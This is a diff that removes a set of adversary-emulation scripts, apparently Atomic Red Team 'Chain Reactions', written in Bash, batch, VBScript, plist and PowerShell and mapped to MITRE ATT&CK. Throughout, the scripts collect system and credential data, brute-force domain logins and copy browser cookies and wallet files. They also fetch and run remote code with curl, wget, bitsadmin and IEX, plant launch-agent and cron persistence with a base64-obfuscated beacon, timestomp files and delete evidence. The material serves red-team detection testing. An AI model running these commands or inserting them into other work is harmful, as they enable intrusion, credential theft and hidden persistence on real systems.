echo "Testing: Gathering Linux Release Information"
echo "Release:" >> $SYSINF
lsb_release >> $SYSINF 2> /dev/null
fi
# Tactic: Discovery
# Technique: Account Discovery https://attack.mitre.org/wiki/Technique/T1087
# Collect User Account Information
USERINF=/tmp/.staging_art/users.txt
echo "Testing: Gathering User Information"
echo "Whoami:" >> $USERINF && whoami >> $USERINF
echo "Current User Activity:" >> $USERINF && w >> $USERINF 2> /dev/null
echo "Sudo Privs" >> $USERINF && sudo -l -n >> $USERINF 2> /dev/null
echo "Sudoers" >> $USERINF && cat /etc/sudoers >> $USERINF 2> /dev/null
echo "Last:" >> $USERINF && last >> $USERINF 2> /dev/null
if [ "$PLAT" == "Mac" ]; then
echo "Testing: Gathering Mac Group Information"
echo "Group Information:" >> $USERINF
dscl . list /Groups >> $USERINF
dscacheutil -q group >> $USERINF
else
echo "Testing: Gathering Linux Group Information"
echo "Group Information:" >> $USERINF
cat /etc/passwd >> $USERINF
echo "Elevated Users" >> $USERINF && grep -v -E "^#" /etc/passwd | awk -F: '$3 == 0 { print $1}' >> $USERINF
fi
# Tactic: Discovery
# Technique: Software Discovery: Security Software Discovery https://attack.mitre.org/techniques/T1518/001/
# Check for common security Software
SECINF=/tmp/.staging_art/security.txt
echo "Testing: Gathering Security Software Information"
echo "Running Security Processes" >> $SECINF && ps ax | grep -v grep | grep -e Carbon -e Snitch -e OpenDNS -e RTProtectionDaemon -e CSDaemon -e cma >> $SECINF
# Tacttic: Exfiltration
# Technique: Archive Collected Data: Archive via Library https://attack.mitre.org/techniques/T1560/002/
# Compress and encrypt all collected data
echo "Testing: Zip up the Recon"
zip --password "Hope You Have Eyes on This!!" /tmp/.staging_art/loot.zip /tmp/.staging_art/* > /dev/null 2>&1
# Tacttic: Exfiltration
# Technique: Data Transfer Size Limits https://attack.mitre.org/wiki/Technique/T1030
# Split the file up into 23 byte chunks for easier exfiltration
echo "Testing: Split the file for Exfil"
split -a 15 -b 23 "/tmp/.staging_art/loot.zip" "/tmp/.exfil/loot.zip.part-"
# Tactic: Defense Evasion
# Technique: Delete File Indicator Removal on Host: File Deletion https://attack.mitre.org/techniques/T1070/004/
# Delete evidence
rm -rf /tmp/.staging_art/
# Optionally, delete exfil directory to clean up
# rm -rf /tmp/.exfil/
@@ -1,49 +0,0 @@
:: Chain Reaction - Reactor
::
::
:: Tactic: Discovery
:: Technique: System Owner/User Discovery: https://attack.mitre.org/wiki/Technique/T1033
:: Single Endpoint
:: for /F "tokens=1,2" %%i in ('qwinsta /server:<COMPUTERNAME> ^| findstr "Active Disc"') do @echo %%i | find /v "#" | find /v "console" || echo %%j > usernames.txt
:: Multiple Endpoints
@FOR /F %%n in (computers.txt) DO @FOR /F "tokens=1,2" %%i in ('qwinsta /server:%%n ^| findstr "Active Disc") do @echo %%i | find /v "#" | find /v "console" || echo %%j > usernames.txt
:: Tactic: Credential Access, Lateral Movement
:: Technique: Brute Force: https://attack.mitre.org/wiki/Technique/T1110
:: Technique: Windows Admin Shares: https://attack.mitre.org/wiki/Technique/T1077
@FOR /F %%n in (usernames.txt) DO @FOR /F %%p in (passwords.txt) DO @net use \\COMPANYDC1\IPC$ /user:COMPANY\%%n %%p 1>NUL 2>&1 && @echo [*] %%n:%%p && @net use /delete \\COMPANYDC1\IPC$ > NUL
:: Tactic: Discovery
:: Technique: Security Software Discovery: https://attack.mitre.org/wiki/Technique/T1063
netsh.exe advfirewall firewall show rule name=all
tasklist.exe | findstr cb
tasklist.exe | findstr virus
tasklist.exe | findstr defender
:: Tactic: Execution, Discovery
:: Technique: PowerShell: https://attack.mitre.org/wiki/Technique/T1086
:: Technique: Multiple Discovery
powershell.exe "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/ARTifacts/Misc/Discovery.bat')"
:: Tactic: Collection
:: Technique: Automated Collection: https://attack.mitre.org/wiki/Technique/T1119
for /R c: %%f in (*.docx) do copy %%f c:\temp\
:: Tactic: Exfiltration
:: Technique: Data Compressed: https://attack.mitre.org/wiki/Technique/T1002
cmd.exe /c powershell.exe Compress-Archive -Path C:\temp\* -CompressionLevel Optimal -DestinationPath C:\temp\allthedataz.zip
@@ -1,16 +0,0 @@
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
<key>Label</key>
<string>cookie-miner-backdoor-launchagent.plist</string>
<key>ProgramArguments</key>
<array>
<string>python</string>
<string>-c</string>
<string>import sys,base64,warnings;warnings.filterwarnings('ignore');exec(base64.b64decode('aW1wb3J0IHN5cztpbXBvcnQgcmUsIHN1YnByb2Nlc3M7Y21kID0gInBzIC1lZiB8IGdyZXAgTGl0dGxlXCBTbml0Y2ggfCBncmVwIC12IGdyZXAiCnBzID0gc3VicHJvY2Vzcy5Qb3BlbihjbWQsIHNoZWxsPVRydWUsIHN0ZG91dD1zdWJwcm9jZXNzLlBJUEUpCm91dCA9IHBzLnN0ZG91dC5yZWFkKCkKcHMuc3Rkb3V0LmNsb3NlKCkKaWYgcmUuc2VhcmNoKCJMaXR0bGUgU25pdGNoIiwgb3V0KToKICAgc3lzLmV4aXQoKQppbXBvcnQgdXJsbGliMjsKVUE9J01vemlsbGEvNS4wIChXaW5kb3dzIE5UIDYuMTsgV09XNjQ7IFRyaWRlbnQvNy4wOyBydjoxMS4wKSBsaWtlIEdlY2tvJztzZXJ2ZXI9J2h0dHA6Ly9hdG9taWNyZWR0ZWFtLmlvJzt0PScvbmV3cy5waHAnO3JlcT11cmxsaWIyLlJlcXVlc3Qoc2VydmVyK3QpOwpyZXEuYWRkX2hlYWRlcignVXNlci1BZ2VudCcsVUEpOwpyZXEuYWRkX2hlYWRlcignQ29va2llJywic2Vzc2lvbj1CbUhpVzdVQS9zZjlDMjc5b0Uyb3dLOUxaMGM9Iik7CnByb3h5ID0gdXJsbGliMi5Qcm94eUhhbmRsZXIoKTsKbyA9IHVybGxpYjIuYnVpbGRfb3BlbmVyKHByb3h5KTsKdXJsbGliMi5pbnN0YWxsX29wZW5lcihvKTsKYT11cmxsaWIyLnVybG9wZW4ocmVxKS5yZWFkKCk7'));</string>
</array>
<key>RunAtLoad</key>
<true/>
</dict>
</plist>
@@ -1,14 +0,0 @@
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
<key>ProgramArguments</key>
<array>
<string>/Users/Shared/xmrig2</string>
</array>
<key>RunAtLoad</key>
<true/>
<key>Label</key>
<string>cookie-miner-payload-launchagent.plist</string>
</dict>
</plist>
@@ -1,49 +0,0 @@
#! /bin/bash
# Tactic: Discovery
# Technique: T1033 - System Owner/User Discovery
OUTPUT="$(id -un)"
# Tactic: Collection
# Technique: T1005 - Data from Local System
cd ~/Library/Cookies
grep -q "coinbase" "Cookies.binarycookies"
# Tactic: Collection
# Technique: T1074 - Data Staged
mkdir ${OUTPUT}
cp Cookies.binarycookies ${OUTPUT}/Cookies.binarycookies
# Tactic: Exfiltration
# Technique: T1560.002 - Archive Collected Data: Archive via Library
zip -r interestingsafaricookies.zip ${OUTPUT}
# Tactic: Exfiltration
# Technique: T1048.002 - Exfiltration Over Alternative Protocol: Exfiltration Over Asymmetric Encrypted Non-C2 Protocol
# Simulate network connection for exfiltration
curl https://atomicredteam.io > /dev/null
curl --silent https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/ARTifacts/Chain_Reactions/cookie-miner-stage-02.py || wget -q -O- https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/ARTifacts/Chain_Reactions/cookie-miner-stage-02.py | python - ``
# Tactic: Discovery
# Technique: T1083 - File and Directory Discovery
find ~ -name "*wallet*" > interestingfiles.txt
cp interestingfiles.txt ${OUTPUT}/interestingfiles.txt
# Tactic: Persistence
# Technique: T1543.001 - Create or Modify System Process: Launch Agent
mkdir -p ~/Library/LaunchAgents
cd ~/Library/LaunchAgents
curl --silent -o com.apple.rig2.plist https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/ARTifacts/Chain_Reactions/cookie-miner-payload-launchagent.plist
curl --silent -o com.proxy.initialize.plist https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/ARTifacts/Chain_Reactions/cookie-miner-backdoor-launchagent.plist
launchctl load -w com.apple.rig2.plist
launchctl load -w com.proxy.initialize.plist
cd /Users/Shared
curl --silent -o xmrig2 https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/ARTifacts/Chain_Reactions/atomic-hello.macos
# Tactic: Defense Evasion
# Technique: T1222.002 - File and Directory Permissions Modification: Linux and Mac File and Directory Permissions Modification
chmod +x ./xmrig2
./xmrig2
@@ -1,25 +0,0 @@
# import sys;import re, subprocess;cmd = "ps -ef | grep Little\ Snitch | grep -v grep"
# ps = subprocess.Popen(cmd, shell=True, stdout=subprocess.PIPE)
# out = ps.stdout.read()
# ps.stdout.close()
# if re.search("Little Snitch", out):
# sys.exit()
# import urllib2;
# UA='Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko';server='http://atomicredteam.io';t='/news.php';req=urllib2.Request(server+t);
# req.add_header('User-Agent',UA);
# req.add_header('Cookie',"session=BmHiW7UA/sf9C279oE2owK9LZ0c=");
# proxy = urllib2.ProxyHandler();
# o = urllib2.build_opener(proxy);
# urllib2.install_opener(o);
# a=urllib2.urlopen(req).read();
# Tactic: Defense Evasion
# Technique: T1140 - Deobfuscate/Decode Files or Information
#
# Tactic: Discovery
# Technique: T1057 - Process Discovery
#
# Tactic: Command and Control
# Technique: T1071.001 - Application Layer Protocol: Web Protocols
#
import sys,base64,warnings;warnings.filterwarnings('ignore');exec(base64.b64decode('aW1wb3J0IHN5cztpbXBvcnQgcmUsIHN1YnByb2Nlc3M7Y21kID0gInBzIC1lZiB8IGdyZXAgTGl0dGxlXCBTbml0Y2ggfCBncmVwIC12IGdyZXAiCnBzID0gc3VicHJvY2Vzcy5Qb3BlbihjbWQsIHNoZWxsPVRydWUsIHN0ZG91dD1zdWJwcm9jZXNzLlBJUEUpCm91dCA9IHBzLnN0ZG91dC5yZWFkKCkKcHMuc3Rkb3V0LmNsb3NlKCkKaWYgcmUuc2VhcmNoKCJMaXR0bGUgU25pdGNoIiwgb3V0KToKICAgc3lzLmV4aXQoKQppbXBvcnQgdXJsbGliMjsKVUE9J01vemlsbGEvNS4wIChXaW5kb3dzIE5UIDYuMTsgV09XNjQ7IFRyaWRlbnQvNy4wOyBydjoxMS4wKSBsaWtlIEdlY2tvJztzZXJ2ZXI9J2h0dHA6Ly9hdG9taWNyZWR0ZWFtLmlvJzt0PScvbmV3cy5waHAnO3JlcT11cmxsaWIyLlJlcXVlc3Qoc2VydmVyK3QpOwpyZXEuYWRkX2hlYWRlcignVXNlci1BZ2VudCcsVUEpOwpyZXEuYWRkX2hlYWRlcignQ29va2llJywic2Vzc2lvbj1CbUhpVzdVQS9zZjlDMjc5b0Uyb3dLOUxaMGM9Iik7CnByb3h5ID0gdXJsbGliMi5Qcm94eUhhbmRsZXIoKTsKbyA9IHVybGxpYjIuYnVpbGRfb3BlbmVyKHByb3h5KTsKdXJsbGliMi5pbnN0YWxsX29wZW5lcihvKTsKYT11cmxsaWIyLnVybG9wZW4ocmVxKS5yZWFkKCk7'))
@@ -1,37 +0,0 @@
# Adversary Group: https://attack.mitre.org/wiki/Group/G0050
# xref: https://www.fireeye.com/blog/threat-research/2017/05/cyber-espionage-apt32.html
# Thanks to Nick Carr for his research on this group
# Sample Representation of ATT&CK Techniques used by APT32
# Tactics: Execution, Persistence, Privilege Escalation
# Tactic: Privilege Escalation / Execution
# Technique: Scheduled Task https://attack.mitre.org/wiki/Technique/T1053
# Create Scheduled Task With RegSv32 Payload
SCHTASKS /Create /SC MINUTE /TN "Atomic Testing" /TR "regsvr32.exe /s /u /i:https://raw.githubusercontent.com/redcanaryco/atomic-red-team/6965fc15ef872281346d99d5eea952907167dec3/atomics/T1117/RegSvr32.sct scrobj.dll" /mo 30
SCHTASKS /Run /TN "Atomic Testing"
SCHTASKS /Delete /TN "Atomic Testing" /F
# Tactics: Execution
# Technique: PowerShell https://attack.mitre.org/wiki/Technique/T1086
# powershell.exe "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/EmpireProject/Empire/dev/data/module_source/credentials/Invoke-Mimikatz.ps1'); Invoke-Mimikatz -DumpCreds"
# Tactics: Defense Evasion
# Technique: Timestomp https://attack.mitre.org/wiki/Technique/T1099
# Source: https://gist.github.com/obscuresec/7b0cf71d7a8dd5e7b54c
$test = "Atomic Test File"
set-content -path test.txt -value $test
$file=(gi test.txt);$date='7/16/1945 5:29 am';$file.LastWriteTime=$date;$file.LastAccessTime=$date;$file.CreationTime=$date
# Tactics: Defense Evasion
# technique: File Deletion https://attack.mitre.org/wiki/Technique/T1107
# Deletes File, detection here would be File Modification
del test.txt
Write-Host "Done" -Fore Green
@@ -1,17 +0,0 @@
#! /bin/bash
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /
# Tactic: Discovery
# Technique: T1082 - System Information discovery
MIRAI_EXT=`uname -m`
wget https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/ARTifacts/Chain_Reactions/atomic-hello -O mirai.$MIRAI_EXT
# Tactic: Defense Evasion
# Technique: T1222 - File Permissions Modification
chmod +x mirai.$MIRAI_EXT
./mirai.$MIRAI_EXT
# Tactic: Defense Evasion
# Technique: T1107 - File Deletion
rm -rf mirai.$MIRAI_EXT
@@ -1,34 +0,0 @@
On Error Resume Next
' Properly declare everything
Dim shell, remoteFile, wmi_os_caption, securityCenterWMI, avItems, fso, localFile, bitsadminReturn, objProcess
Set shell = WScript.CreateObject("WScript.Shell")
' Tactic: Discovery
' Technique: T1082 - System Information Discovery
Set wmi_os_caption = shell.Exec("wmic OS get Caption /value")
' Tactic: Discovery
' Technique: T1518.001 - Software Discovery: Security Software Discovery
Set securityCenterWMI = GetObject("winmgmts:\\.\root\SecurityCenter2")
Set avItems = securityCenterWMI.ExecQuery("Select * From AntiVirusProduct")
Set fso = CreateObject("Scripting.FileSystemObject")
localFile = fso.GetSpecialFolder(2) & "\Atomic_Qbot.exe"
' Tactic: Command and Control
' Technique: T1105 - Ingress Tool Transfer
bitsadminReturn = shell.Run("bit"&"sadmin /transfer qcxjb" & Second(Now) & " /Priority HIGH " & "https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/ARTifacts/Chain_Reactions/atomic-hello.exe " & localFile, 0, True)
' Tactic: Defense Evasion
' Technique: T1036 - Masquerading
MsgBox "The file can't be opened because there are problems with the content.", 0, "Microsoft Word"
' Tactic: Execution
' Technique: T1047 - Windows Management Instrumentation
If (bitsadminReturn = 0) And (fso.FileExists(localFile)) Then
Set objProcess = GetObject("winmgmts:root\cimv2:Win32_Process")
objProcess.Create localFile
End If
@@ -1,10 +0,0 @@
#! /bin/bash
# Tactic: Defense Evasion
# Technique: T1027 - Obfuscated Files or Information
bash -c "(curl -fsSL https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/ARTifacts/Chain_Reactions/rocke-and-roll-stage-02-base64.sh || wget -q -O- https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/ARTifacts/Chain_Reactions/rocke-and-roll-stage-02-base64.sh)|base64 -d |/bin/bash"
# If you want to skip the base64 process, uncomment the following line:
# bash -c "(curl -fsSL https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/ARTifacts/Chain_Reactions/rocke-and-roll-stage-02-decoded.sh || wget -q -O- https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/ARTifacts/Chain_Reactions/rocke-and-roll-stage-02-decoded.sh)|/bin/bash"
echo $(date -u) "Executed Atomic Red Team Rocke and Roll, Stage 01" >> /tmp/atomic.log
@@ -1,81 +0,0 @@
IyEgL2Jpbi9iYXNoCgpmdW5jdGlvbiBjKCkgewpwa2lsbCAtZiBzb3VycGx1bQpwa2lsbCAtZiB4
bXJpZwpwa2lsbCAtZiBjcnlwdG9uaWdodApwa2lsbCAtZiBzdHJhdHVtCnBraWxsIC1mIG1peG5l
cmR4CnBraWxsIC1mIG1pbmV4bXIKcGtpbGwgLWYgbWluZXJkCnBraWxsIC1mIG1pbmVyZ2F0ZQpw
a2lsbCAtZiBrd29ya2VyMzQKcGtpbGwgLWYgWGJhc2gKCiMgICBUYWN0aWM6IERlZmVuc2UgRXZh
c2lvbgojICAgVGVjaG5pcXVlOiBUMTIyMiAtIEZpbGUgUGVybWlzc2lvbiBNb2RpZmljYXRpb24K
Y2hhdHRyIC1pIC90bXAva3dvcmtlcmRzIC92YXIvdG1wL2t3b3JrZXJkcwoKIyAgIFRhY3RpYzog
RGVmZW5zZSBFdmFzaW9uCiMgICBUZWNobmlxdWU6IFQxMTA3IC0gRmlsZSBEZWxldGlvbgpybSAt
cmYgL3RtcC9rd29ya2VyZHMgL3Zhci90bXAva3dvcmtlcmRzCgojICAgVGFjdGljOiBEaXNjb3Zl
cnkKIyAgIFRlY2huaXF1ZTogVDEwNTcgLSBQcm9jZXNzIERpc2NvdmVyeQpwcyBhdXhmfGdyZXAg
LXYgZ3JlcHxncmVwIC12ICJcXyIgfGdyZXAgLXYgImt0aHJlYWRkIiB8Z3JlcCAiXFsuKlxdInxh
d2sgJ3twcmludCAkMn0nfHhhcmdzIGtpbGwgLTkgPi9kZXYvbnVsbCAyPiYxCnBzIGF1eGZ8Z3Jl
cCAtdiBncmVwfGdyZXAgInhtcmlnIiB8IGF3ayAne3ByaW50ICQyfSd8eGFyZ3Mga2lsbCAtOSA+
L2Rldi9udWxsIDI+JjEKcHMgYXV4ZnxncmVwIC12IGdyZXB8Z3JlcCAiWGJhc2giIHwgYXdrICd7
cHJpbnQgJDJ9J3x4YXJncyBraWxsIC05ID4vZGV2L251bGwgMj4mMQpwcyBhdXhmfGdyZXAgLXYg
Z3JlcHxncmVwICJzdHJhdHVtIiB8IGF3ayAne3ByaW50ICQyfSd8eGFyZ3Mga2lsbCAtOSA+L2Rl
di9udWxsIDI+JjEKcHMgYXV4ZnxncmVwIC12IGdyZXB8Z3JlcCAieG1yIiB8IGF3ayAne3ByaW50
ICQyfSd8eGFyZ3Mga2lsbCAtOSA+L2Rldi9udWxsIDI+JjEKcHMgYXV4ZnxncmVwIC12IGdyZXB8
Z3JlcCAibWluZXJkIiB8IGF3ayAne3ByaW50ICQyfSd8eGFyZ3Mga2lsbCAtOSA+L2Rldi9udWxs
IDI+JjEKCiMgICBUYWN0aWM6IERpc2NvdmVyeQojICAgVGVjaG5pcXVlOiBUMTA0OSAtIFN5c3Rl
bSBOZXR3b3JrIENvbm5lY3Rpb25zIERpc2NvdmVyeQpuZXRzdGF0IC1hbnAgfCBncmVwIDozMzMz
IHxhd2sgJ3twcmludCAkN30nfCBhd2sgLUYnWy9dJyAne3ByaW50ICQxfScgfCB4YXJncyBraWxs
IC05ID4vZGV2L251bGwgMj4mMQpuZXRzdGF0IC1hbnAgfCBncmVwIDo0NDQ0IHxhd2sgJ3twcmlu
dCAkN30nfCBhd2sgLUYnWy9dJyAne3ByaW50ICQxfScgfCB4YXJncyBraWxsIC05ID4vZGV2L251
bGwgMj4mMQpuZXRzdGF0IC1hbnAgfCBncmVwIDo1NTU1IHxhd2sgJ3twcmludCAkN30nfCBhd2sg
LUYnWy9dJyAne3ByaW50ICQxfScgfCB4YXJncyBraWxsIC05ID4vZGV2L251bGwgMj4mMQpuZXRz
dGF0IC1hbnAgfCBncmVwIDo2NjY2IHxhd2sgJ3twcmludCAkN30nfCBhd2sgLUYnWy9dJyAne3By
aW50ICQxfScgfCB4YXJncyBraWxsIC05ID4vZGV2L251bGwgMj4mMQpuZXRzdGF0IC1hbnAgfCBn
cmVwIDo3Nzc3IHxhd2sgJ3twcmludCAkN30nfCBhd2sgLUYnWy9dJyAne3ByaW50ICQxfScgfCB4
YXJncyBraWxsIC05ID4vZGV2L251bGwgMj4mMQpuZXRzdGF0IC1hbnAgfCBncmVwIDozMzQ3IHxh
d2sgJ3twcmludCAkN30nfCBhd2sgLUYnWy9dJyAne3ByaW50ICQxfScgfCB4YXJncyBraWxsIC05
ID4vZGV2L251bGwgMj4mMQpuZXRzdGF0IC1hbnAgfCBncmVwIDoxNDQ0NCB8YXdrICd7cHJpbnQg
JDd9J3wgYXdrIC1GJ1svXScgJ3twcmludCAkMX0nIHwgeGFyZ3Mga2lsbCAtOSA+L2Rldi9udWxs
IDI+JjEKbmV0c3RhdCAtYW5wIHwgZ3JlcCA6MTQ0MzMgfGF3ayAne3ByaW50ICQ3fSd8IGF3ayAt
RidbL10nICd7cHJpbnQgJDF9JyB8IHhhcmdzIGtpbGwgLTkgPi9kZXYvbnVsbCAyPiYxCgplY2hv
ICQoZGF0ZSAtdSkgIkV4ZWN1dGVkIEF0b21pYyBSZWQgVGVhbSBSb2NrZSBhbmQgUm9sbCwgU3Rh
Z2UgMDIsIHBhcnQgQyIgPj4gL3RtcC9hdG9taWMubG9nCn0KCmZ1bmN0aW9uIGIoKSB7CiAgICBt
a2RpciAtcCAvdmFyL3RtcAoKICAgICMgICBUYWN0aWM6IERlZmVuc2UgRXZhc2lvbgogICAgIyAg
IFRlY2huaXF1ZTogVDEyMjIgLSBGaWxlIFBlcm1pc3Npb24gTW9kaWZpY2F0aW9uCiAgICBjaG1v
ZCAxNzc3IC92YXIvdG1wCgogICAgIyAgIFRhY3RpYzogRGVmZW5zZSBFdmFzaW9uCiAgICAjICAg
VGVjaG5pcXVlOiBUMTAzNiAtIE1hc3F1ZXJhZGluZwogICAgKGN1cmwgLWZzU0wgLS1jb25uZWN0
LXRpbWVvdXQgMTIwIGh0dHBzOi8vcmF3LmdpdGh1YnVzZXJjb250ZW50LmNvbS9yZWRjYW5hcnlj
by9hdG9taWMtcmVkLXRlYW0vbWFzdGVyL0FSVGlmYWN0cy9DaGFpbl9SZWFjdGlvbnMvYXRvbWlj
LWhlbGxvIC1vIC92YXIvdG1wL2t3b3JrZXJkc3x8d2dldCBodHRwczovL3Jhdy5naXRodWJ1c2Vy
Y29udGVudC5jb20vcmVkY2FuYXJ5Y28vYXRvbWljLXJlZC10ZWFtL21hc3Rlci9BUlRpZmFjdHMv
Q2hhaW5fUmVhY3Rpb25zL2F0b21pYy1oZWxsbyAtTyAvdmFyL3RtcC9rd29ya2VyZHMpICYmIGNo
bW9kICt4IC92YXIvdG1wL2t3b3JrZXJkcwogICAgbm9odXAgL3Zhci90bXAva3dvcmtlcmRzID4v
ZGV2L251bGwgMj4mMSAmCgogICAgZWNobyAkKGRhdGUgLXUpICJFeGVjdXRlZCBBdG9taWMgUmVk
IFRlYW0gUm9ja2UgYW5kIFJvbGwsIFN0YWdlIDAyLCBwYXJ0IEIiID4+IC90bXAvYXRvbWljLmxv
Zwp9CgpmdW5jdGlvbiBhKCkgewoKICAgICMgICBUYWN0aWM6IERlZmVuc2UgRXZhc2lvbgogICAg
IyAgIFRlY2huaXF1ZTogVDEyMjIgLSBGaWxlIFBlcm1pc3Npb24gTW9kaWZpY2F0aW9uCgljaGF0
dHIgLWkgL2V0Yy9jcm9uLmQvcm9vdCAvdmFyL3Nwb29sL2Nyb24vcm9vdCAvdmFyL3Nwb29sL2Ny
b24vY3JvbnRhYnMvcm9vdAoKICAgICMgICBUYWN0aWM6IFBlcnNpc3RlbmNlCiAgICAjICAgVGVj
aG5pcXVlOiBUMTE2OCAtIExvY2FsIEpvYiBTY2hlZHVsaW5nCgllY2hvIC1lICIqLzEwICogKiAq
ICogcm9vdCAoY3VybCAtZnNTTCBodHRwczovL3Jhdy5naXRodWJ1c2VyY29udGVudC5jb20vcmVk
Y2FuYXJ5Y28vYXRvbWljLXJlZC10ZWFtL21hc3Rlci9BUlRpZmFjdHMvQ2hhaW5fUmVhY3Rpb25z
L3JvY2tlLWFuZC1yb2xsLXN0YWdlLTAyLWRlY29kZWQuc2h8fHdnZXQgLXEgLU8tIGh0dHBzOi8v
cmF3LmdpdGh1YnVzZXJjb250ZW50LmNvbS9yZWRjYW5hcnljby9hdG9taWMtcmVkLXRlYW0vbWFz
dGVyL0FSVGlmYWN0cy9DaGFpbl9SZWFjdGlvbnMvcm9ja2UtYW5kLXJvbGwtc3RhZ2UtMDItZGVj
b2RlZC5zaCl8c2hcbiMjIiA+IC9ldGMvY3Jvbi5kL3Jvb3QKCW1rZGlyIC1wIC92YXIvc3Bvb2wv
Y3Jvbi9jcm9udGFicwoJZWNobyAtZSAiKi8zMSAqICogKiAqIChjdXJsIC1mc1NMIGh0dHBzOi8v
cmF3LmdpdGh1YnVzZXJjb250ZW50LmNvbS9yZWRjYW5hcnljby9hdG9taWMtcmVkLXRlYW0vbWFz
dGVyL0FSVGlmYWN0cy9DaGFpbl9SZWFjdGlvbnMvcm9ja2UtYW5kLXJvbGwtc3RhZ2UtMDItZGVj
b2RlZC5zaHx8d2dldCAtcSAtTy0gaHR0cHM6Ly9yYXcuZ2l0aHVidXNlcmNvbnRlbnQuY29tL3Jl
ZGNhbmFyeWNvL2F0b21pYy1yZWQtdGVhbS9tYXN0ZXIvQVJUaWZhY3RzL0NoYWluX1JlYWN0aW9u
cy9yb2NrZS1hbmQtcm9sbC1zdGFnZS0wMi1kZWNvZGVkLnNoKXxzaFxuIyMiID4gL3Zhci9zcG9v
bC9jcm9uL2Nyb250YWJzL3Jvb3QKCW1rZGlyIC1wIC9ldGMvY3Jvbi5kYWlseQoJKGN1cmwgLWZz
U0wgLS1jb25uZWN0LXRpbWVvdXQgMTIwIGh0dHBzOi8vcmF3LmdpdGh1YnVzZXJjb250ZW50LmNv
bS9yZWRjYW5hcnljby9hdG9taWMtcmVkLXRlYW0vbWFzdGVyL0FSVGlmYWN0cy9DaGFpbl9SZWFj
dGlvbnMvcm9ja2UtYW5kLXJvbGwtc3RhZ2UtMDItZGVjb2RlZC5zaCAtbyAvZXRjL2Nyb24uZGFp
bHkvb2FuYWNyb25lcnx8d2dldCBodHRwczovL3Jhdy5naXRodWJ1c2VyY29udGVudC5jb20vcmVk
Y2FuYXJ5Y28vYXRvbWljLXJlZC10ZWFtL21hc3Rlci9BUlRpZmFjdHMvQ2hhaW5fUmVhY3Rpb25z
L3JvY2tlLWFuZC1yb2xsLXN0YWdlLTAyLWRlY29kZWQuc2ggLU8gL2V0Yy9jcm9uLmRhaWx5L29h
bmFjcm9uZXIpCgogICAgIyAgIFRhY3RpYzogRGVmZW5zZSBFdmFzaW9uCiAgICAjICAgVGVjaG5p
cXVlOiBUMTIyMiAtIEZpbGUgUGVybWlzc2lvbiBNb2RpZmljYXRpb24KICAgIGNobW9kIDc1NSAv
ZXRjL2Nyb24uZGFpbHkvb2FuYWNyb25lcgoKICAgICMgICBUYWN0aWM6IERlZmVuc2UgRXZhc2lv
bgogICAgIyAgIFRlY2huaXF1ZTogVDEwOTkgLSBUaW1lc3RvbXAKCXRvdWNoIC1hY21yIC9iaW4v
c2ggL2V0Yy9jcm9uLmRhaWx5L29hbmFjcm9uZXIKICAgIHRvdWNoIC1hY21yIC9iaW4vc2ggL2V0
Yy9jcm9uLmQvcm9vdAogICAgdG91Y2ggLWFjbXIgL2Jpbi9zaCAvdmFyL3Nwb29sL2Nyb24vY3Jv
bnRhYnMvcm9vdAoKICAgIGVjaG8gJChkYXRlIC11KSAiRXhlY3V0ZWQgQXRvbWljIFJlZCBUZWFt
IFJvY2tlIGFuZCBSb2xsLCBTdGFnZSAwMiwgcGFydCBBIiA+PiAvdG1wL2F0b21pYy5sb2cKfQoK
YQpiCmM=
@@ -1,90 +0,0 @@
#! /bin/bash
function c() {
pkill -f sourplum
pkill -f xmrig
pkill -f cryptonight
pkill -f stratum
pkill -f mixnerdx
pkill -f minexmr
pkill -f minerd
pkill -f minergate
pkill -f kworker34
pkill -f Xbash
# Tactic: Defense Evasion
# Technique: T1222 - File Permission Modification
chattr -i /tmp/kworkerds /var/tmp/kworkerds
# Tactic: Defense Evasion
# Technique: T1107 - File Deletion
rm -rf /tmp/kworkerds /var/tmp/kworkerds
# Tactic: Discovery
# Technique: T1057 - Process Discovery
ps auxf|grep -v grep|grep -v "\_" |grep -v "kthreadd" |grep "\[.*\]"|awk '{print $2}'|xargs kill -9 >/dev/null 2>&1
ps auxf|grep -v grep|grep "xmrig" | awk '{print $2}'|xargs kill -9 >/dev/null 2>&1
ps auxf|grep -v grep|grep "Xbash" | awk '{print $2}'|xargs kill -9 >/dev/null 2>&1
ps auxf|grep -v grep|grep "stratum" | awk '{print $2}'|xargs kill -9 >/dev/null 2>&1
ps auxf|grep -v grep|grep "xmr" | awk '{print $2}'|xargs kill -9 >/dev/null 2>&1
ps auxf|grep -v grep|grep "minerd" | awk '{print $2}'|xargs kill -9 >/dev/null 2>&1
# Tactic: Discovery
# Technique: T1049 - System Network Connections Discovery
netstat -anp | grep :3333 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9 >/dev/null 2>&1
netstat -anp | grep :4444 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9 >/dev/null 2>&1
netstat -anp | grep :5555 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9 >/dev/null 2>&1
netstat -anp | grep :6666 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9 >/dev/null 2>&1
netstat -anp | grep :7777 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9 >/dev/null 2>&1
netstat -anp | grep :3347 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9 >/dev/null 2>&1
